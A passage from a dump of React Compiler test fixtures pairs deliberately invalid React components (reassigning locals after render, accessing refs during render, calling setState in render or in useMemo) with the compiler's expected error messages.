    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-hook-argument.js",
    "content": "import {useEffect} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const callback = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  useIdentity(() => {\n    callback();\n  });\n\n  return 'ok';\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const onClick = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  return <button onClick={onClick}>Submit</button>;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot reassign variable after render completes\n\nReassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-jsx-callback.ts:5:4\n  3 |\n  4 |   const reassignLocal = newValue => {\n> 5 |     local = newValue;\n    |     ^^^^^ Cannot reassign `local` after render completes\n  6 |   };\n  7 |\n  8 |   const onClick = newValue => {\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `local` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-reassign-local-variable-in-jsx-callback.ts:31:26\n  29 |   };\n  30 |\n> 31 |   return <button onClick={onClick}>Submit</button>;\n     |                           ^^^^^^^ This function may (indirectly) reassign or modify `local` after render\n  32 | }\n  33 |\n\nerror.invalid-reassign-local-variable-in-jsx-callback.ts:5:4\n  3 |\n  4 |   const reassignLocal = newValue => {\n> 5 |     local = newValue;\n    |     ^^^^^ This modifies `local`\n  6 |   };\n  7 |\n  8 |   const onClick = newValue => {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-local-variable-in-jsx-callback.js",
    "content": "function Component() {\n  let local;\n\n  const reassignLocal = newValue => {\n    local = newValue;\n  };\n\n  const onClick = newValue => {\n    reassignLocal('hello');\n\n    if (local === newValue) {\n      // Without React Compiler, `reassignLocal` is freshly created\n      // on each render, capturing a binding to the latest `local`,\n      // such that invoking reassignLocal will reassign the same\n      // binding that we are observing in the if condition, and\n      // we reach this branch\n      console.log('`local` was updated!');\n    } else {\n      // With React Compiler enabled, `reassignLocal` is only created\n      // once, capturing a binding to `local` in that render pass.\n      // Therefore, calling `reassignLocal` will reassign the wrong\n      // version of `local`, and not update the binding we are checking\n      // in the if condition.\n      //\n      // To protect against this, we disallow reassigning locals from\n      // functions that escape\n      throw new Error('`local` not updated!');\n    }\n  };\n\n  return <button onClick={onClick}>Submit</button>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let x;\n  const y = useMemo(() => {\n    let z;\n    x = [];\n    z = true;\n    return z;\n  }, []);\n  return [x, y];\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: useMemo() callbacks may not reassign variables declared outside of the callback\n\nuseMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function.\n\nerror.invalid-reassign-variable-in-usememo.ts:5:4\n  3 |   const y = useMemo(() => {\n  4 |     let z;\n> 5 |     x = [];\n    |     ^ Cannot reassign variable\n  6 |     z = true;\n  7 |     return z;\n  8 |   }, []);\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-variable-in-usememo.js",
    "content": "function Component() {\n  let x;\n  const y = useMemo(() => {\n    let z;\n    x = [];\n    z = true;\n    return z;\n  }, []);\n  return [x, y];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  const current = !r.current;\n  return <div>{current}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 4 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n  4 | component C() {\n  5 |   const r = useRef(null);\n> 6 |   const current = !r.current;\n    |                    ^^^^^^^^^ Cannot access ref value during render\n  7 |   return <div>{current}</div>;\n  8 | }\n  9 |\n\nTo initialize a ref only once, check that the ref is null with the pattern `if (ref.current == null) { ref.current = ... }`\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n  4 | component C() {\n  5 |   const r = useRef(null);\n> 6 |   const current = !r.current;\n    |                   ^^^^^^^^^^ Cannot access ref value during render\n  7 |   return <div>{current}</div>;\n  8 | }\n  9 |\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   5 |   const r = useRef(null);\n   6 |   const current = !r.current;\n>  7 |   return <div>{current}</div>;\n     |                ^^^^^^^ Cannot access ref value during render\n   8 | }\n   9 |\n  10 | export const FIXTURE_ENTRYPOINT = {\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n   5 |   const r = useRef(null);\n   6 |   const current = !r.current;\n>  7 |   return <div>{current}</div>;\n     |                ^^^^^^^ Cannot access ref value during render\n   8 | }\n   9 |\n  10 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-access-render-unary.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  const current = !r.current;\n  return <div>{current}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const renderItem = item => {\n    const current = ref.current;\n    return <Foo item={item} current={current} />;\n  };\n  return <Items>{props.items.map(item => renderItem(item))}</Items>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-ref-in-callback-invoked-during-render.ts:8:33\n   6 |     return <Foo item={item} current={current} />;\n   7 |   };\n>  8 |   return <Items>{props.items.map(item => renderItem(item))}</Items>;\n     |                                  ^^^^^^^^^^^^^^^^^^^^^^^^ Cannot access ref value during render\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-in-callback-invoked-during-render.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const renderItem = item => {\n    const current = ref.current;\n    return <Foo item={item} current={current} />;\n  };\n  return <Items>{props.items.map(item => renderItem(item))}</Items>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (!r.current) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n  4 | component C() {\n  5 |   const r = useRef(null);\n> 6 |   if (!r.current) {\n    |        ^^^^^^^^^ Cannot access ref value during render\n  7 |     r.current = 1;\n  8 |   }\n  9 | }\n\nTo initialize a ref only once, check that the ref is null with the pattern `if (ref.current == null) { ref.current = ... }`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-initialization-unary-not.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (!r.current) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-value-as-props.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  return <Foo ref={ref.current} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-ref-value-as-props.ts:4:19\n  2 | function Component(props) {\n  3 |   const ref = useRef(null);\n> 4 |   return <Foo ref={ref.current} />;\n    |                    ^^^^^^^^^^^ Cannot access ref value during render\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ref-value-as-props.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  return <Foo ref={ref.current} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoFreezingKnownMutableFunctions\nimport {useHook} from 'shared-runtime';\n\nfunction useFoo() {\n  useHook(); // for inference to kick in\n  const cache = new Map();\n  return () => {\n    cache.set('key', 'value');\n  };\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-return-mutable-function-from-hook.ts:7:9\n   5 |   useHook(); // for inference to kick in\n   6 |   const cache = new Map();\n>  7 |   return () => {\n     |          ^^^^^^^\n>  8 |     cache.set('key', 'value');\n     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n>  9 |   };\n     | ^^^^ This function may (indirectly) reassign or modify `cache` after render\n  10 | }\n  11 |\n\nerror.invalid-return-mutable-function-from-hook.ts:8:4\n   6 |   const cache = new Map();\n   7 |   return () => {\n>  8 |     cache.set('key', 'value');\n     |     ^^^^^ This modifies `cache`\n   9 |   };\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-return-mutable-function-from-hook.js",
    "content": "// @validateNoFreezingKnownMutableFunctions\nimport {useHook} from 'shared-runtime';\n\nfunction useFoo() {\n  useHook(); // for inference to kick in\n  const cache = new Map();\n  return () => {\n    cache.set('key', 'value');\n  };\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-during-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  ref.current = props.value;\n  return ref.current;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-set-and-read-ref-during-render.ts:4:2\n  2 | function Component(props) {\n  3 |   const ref = useRef(null);\n> 4 |   ref.current = props.value;\n    |   ^^^^^^^^^^^ Cannot update ref during render\n  5 |   return ref.current;\n  6 | }\n  7 |\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-set-and-read-ref-during-render.ts:5:9\n  3 |   const ref = useRef(null);\n  4 |   ref.current = props.value;\n> 5 |   return ref.current;\n    |          ^^^^^^^^^^^ Cannot access ref value during render\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-during-render.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  ref.current = props.value;\n  return ref.current;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef({inner: null});\n  ref.current.inner = props.value;\n  return ref.current.inner;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-set-and-read-ref-nested-property-during-render.ts:4:2\n  2 | function Component(props) {\n  3 |   const ref = useRef({inner: null});\n> 4 |   ref.current.inner = props.value;\n    |   ^^^^^^^^^^^ Cannot update ref during render\n  5 |   return ref.current.inner;\n  6 | }\n  7 |\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-set-and-read-ref-nested-property-during-render.ts:5:9\n  3 |   const ref = useRef({inner: null});\n  4 |   ref.current.inner = props.value;\n> 5 |   return ref.current.inner;\n    |          ^^^^^^^^^^^^^^^^^ Cannot access ref value during render\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-set-and-read-ref-nested-property-during-render.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef({inner: null});\n  ref.current.inner = props.value;\n  return ref.current.inner;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // Intentionally don't bind state, this repros a bug where we didn't\n  // infer the type of destructured properties after a hole in the array\n  let [, setState] = useState();\n  setState(1);\n  return props.foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-setState-in-render-unbound-state.ts:5:2\n  3 |   // infer the type of destructured properties after a hole in the array\n  4 |   let [, setState] = useState();\n> 5 |   setState(1);\n    |   ^^^^^^^^ Found setState() in render\n  6 |   return props.foo;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-render-unbound-state.js",
    "content": "function Component(props) {\n  // Intentionally don't bind state, this repros a bug where we didn't\n  // infer the type of destructured properties after a hole in the array\n  let [, setState] = useState();\n  setState(1);\n  return props.foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useCallback} from 'react';\n\nfunction useKeyedState({key, init}) {\n  const [prevKey, setPrevKey] = useState(key);\n  const [state, setState] = useState(init);\n\n  const fn = useCallback(() => {\n    setPrevKey(key);\n    setState(init);\n  });\n\n  useMemo(() => {\n    fn();\n  }, [key, init]);\n\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Calling setState from useMemo may trigger an infinite loop\n\nEach time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).\n\nerror.invalid-setState-in-useMemo-indirect-useCallback.ts:13:4\n  11 |\n  12 |   useMemo(() => {\n> 13 |     fn();\n     |     ^^ Found setState() within useMemo()\n  14 |   }, [key, init]);\n  15 |\n  16 |   return state;\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-setState-in-useMemo-indirect-useCallback.ts:9:13\n   7 |   const fn = useCallback(() => {\n   8 |     setPrevKey(key);\n>  9 |     setState(init);\n     |              ^^^^ Missing dependency `init`\n  10 |   });\n  11 |\n  12 |   useMemo(() => {\n\nerror.invalid-setState-in-useMemo-indirect-useCallback.ts:8:15\n   6 |\n   7 |   const fn = useCallback(() => {\n>  8 |     setPrevKey(key);\n     |                ^^^ Missing dependency `key`\n   9 |     setState(init);\n  10 |   });\n  11 |\n\nError: Found missing/extra memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-setState-in-useMemo-indirect-useCallback.ts:13:4\n  11 |\n  12 |   useMemo(() => {\n> 13 |     fn();\n     |     ^^ Missing dependency `fn`\n  14 |   }, [key, init]);\n  15 |\n  16 |   return state;\n\nerror.invalid-setState-in-useMemo-indirect-useCallback.ts:14:6\n  12 |   useMemo(() => {\n  13 |     fn();\n> 14 |   }, [key, init]);\n     |       ^^^ Unnecessary dependency `key`\n  15 |\n  16 |   return state;\n  17 | }\n\nerror.invalid-setState-in-useMemo-indirect-useCallback.ts:14:11\n  12 |   useMemo(() => {\n  13 |     fn();\n> 14 |   }, [key, init]);\n     |            ^^^^ Unnecessary dependency `init`\n  15 |\n  16 |   return state;\n  17 | }\n\nInferred dependencies: `[fn]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo-indirect-useCallback.js",
    "content": "import {useCallback} from 'react';\n\nfunction useKeyedState({key, init}) {\n  const [prevKey, setPrevKey] = useState(key);\n  const [state, setState] = useState(init);\n\n  const fn = useCallback(() => {\n    setPrevKey(key);\n    setState(init);\n  });\n\n  useMemo(() => {\n    fn();\n  }, [key, init]);\n\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useKeyedState({key, init}) {\n  const [prevKey, setPrevKey] = useState(key);\n  const [state, setState] = useState(init);\n\n  useMemo(() => {\n    setPrevKey(key);\n    setState(init);\n  }, [key, init]);\n\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Calling setState from useMemo may trigger an infinite loop\n\nEach time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).\n\nerror.invalid-setState-in-useMemo.ts:6:4\n  4 |\n  5 |   useMemo(() => {\n> 6 |     setPrevKey(key);\n    |     ^^^^^^^^^^ Found setState() within useMemo()\n  7 |     setState(init);\n  8 |   }, [key, init]);\n  9 |\n\nError: Calling setState from useMemo may trigger an infinite loop\n\nEach time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).\n\nerror.invalid-setState-in-useMemo.ts:7:4\n   5 |   useMemo(() => {\n   6 |     setPrevKey(key);\n>  7 |     setState(init);\n     |     ^^^^^^^^ Found setState() within useMemo()\n   8 |   }, [key, init]);\n   9 |\n  10 |   return state;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setState-in-useMemo.js",
    "content": "function useKeyedState({key, init}) {\n  const [prevKey, setPrevKey] = useState(key);\n  const [state, setState] = useState(init);\n\n  useMemo(() => {\n    setPrevKey(key);\n    setState(init);\n  }, [key, init]);\n\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoSetStateInRender @enableUseKeyedState\nimport {useState} from 'react';\n\nfunction Component() {\n  const [total, setTotal] = useState(0);\n  setTotal(42);\n  return total;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot call setState during render\n\nCalling setState during render may trigger an infinite loop.\n* To reset state when other state/props change, use `const [state, setState] = useKeyedState(initialState, key)` to reset `state` when `key` changes.\n* To derive data from other state/props, compute the derived data during render without using state.\n\nerror.invalid-setstate-unconditional-with-keyed-state.ts:6:2\n  4 | function Component() {\n  5 |   const [total, setTotal] = useState(0);\n> 6 |   setTotal(42);\n    |   ^^^^^^^^ Found setState() in render\n  7 |   return total;\n  8 | }\n  9 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-setstate-unconditional-with-keyed-state.js",
    "content": "// @validateNoSetStateInRender @enableUseKeyedState\nimport {useState} from 'react';\n\nfunction Component() {\n  const [total, setTotal] = useState(0);\n  setTotal(42);\n  return total;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\n/* eslint-disable react-hooks/rules-of-hooks */\nfunction lowercasecomponent() {\n  'use forget';\n  const x = [];\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  return <div>{x}</div>;\n}\n/* eslint-enable react-hooks/rules-of-hooks */\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled\n\nReact Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable react-hooks/rules-of-hooks`.\n\nerror.invalid-sketchy-code-use-forget.ts:2:0\n  1 | // @validateExhaustiveMemoizationDependencies:false\n> 2 | /* eslint-disable react-hooks/rules-of-hooks */\n    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression\n  3 | function lowercasecomponent() {\n  4 |   'use forget';\n  5 |   const x = [];\n\nError: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled\n\nReact Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable-next-line react-hooks/rules-of-hooks`.\n\nerror.invalid-sketchy-code-use-forget.ts:6:2\n  4 |   'use forget';\n  5 |   const x = [];\n> 6 |   // eslint-disable-next-line react-hooks/rules-of-hooks\n    |   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression\n  7 |   return <div>{x}</div>;\n  8 | }\n  9 | /* eslint-enable react-hooks/rules-of-hooks */\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-sketchy-code-use-forget.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\n/* eslint-disable react-hooks/rules-of-hooks */\nfunction lowercasecomponent() {\n  'use forget';\n  const x = [];\n  // eslint-disable-next-line react-hooks/rules-of-hooks\n  return <div>{x}</div>;\n}\n/* eslint-enable react-hooks/rules-of-hooks */\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ternary-with-hook-values.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = props.cond ? useA : useB;\n  return x();\n}\n\n```\n\n\n## Error\n\n```\nFound 4 errors:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-ternary-with-hook-values.ts:2:25\n  1 | function Component(props) {\n> 2 |   const x = props.cond ? useA : useB;\n    |                          ^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 |   return x();\n  4 | }\n  5 |\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-ternary-with-hook-values.ts:2:32\n  1 | function Component(props) {\n> 2 |   const x = props.cond ? useA : useB;\n    |                                 ^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 |   return x();\n  4 | }\n  5 |\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-ternary-with-hook-values.ts:2:12\n  1 | function Component(props) {\n> 2 |   const x = props.cond ? useA : useB;\n    |             ^^^^^^^^^^^^^^^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 |   return x();\n  4 | }\n  5 |\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-ternary-with-hook-values.ts:3:9\n  1 | function Component(props) {\n  2 |   const x = props.cond ? useA : useB;\n> 3 |   return x();\n    |          ^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ternary-with-hook-values.js",
    "content": "function Component(props) {\n  const x = props.cond ? useA : useB;\n  return x();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-type-provider-hook-name-not-typed-as-hook-namespace.expect.md",
